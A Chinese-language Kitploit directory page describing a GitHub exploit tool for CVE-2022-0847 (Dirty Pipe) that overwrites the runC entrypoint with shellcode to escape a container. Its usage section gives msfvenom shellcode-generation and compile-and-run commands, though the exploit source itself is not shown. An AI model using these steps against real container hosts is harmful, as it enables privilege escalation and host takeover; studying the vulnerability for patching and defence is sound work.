Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-0847-container-escape — 一个简单的漏洞利用程序,使用 dirtypipe 将 shellcode 注入 runC 入口点,以实现容器逃逸。 | Kitploit
工具/GitHubGitHub/jlsakuya/cve-2022-0847-container-escape
权限提升Payload生成漏洞分析漏洞利用Shellcode容器逃逸
GitHubjlsakuya/cve-2022-0847-container-escape

CVE-2022-0847-container-escape

一个简单的漏洞利用程序,使用 dirtypipe 将 shellcode 注入 runC 入口点,以实现容器逃逸。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
213年前尚未审核

CVE-2022-0847

一个简单的漏洞利用程序,使用 dirtypipe 将 shellcode 注入 runC 入口点,以实现容器逃逸。

用法

使用 msf 生成 base64 编码的 shellcode:

root@kitploit:~
$ msfvenom -p linux/x64/exec CMD="<command>" -f base64

在容器中编译并运行,被覆盖的文件名 是 runC 将在容器中执行的二进制文件(例如 /bin/sh):

root@kitploit:~
$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>

像 CVE-2019-5736 一样,在容器外部触发漏洞利用程序和 shellcode。

参考

  • 通过 runC 逃逸 Docker – 解析 CVE-2019-5736
  • 利用 Dirty Pipe 漏洞逃逸容器
下载工具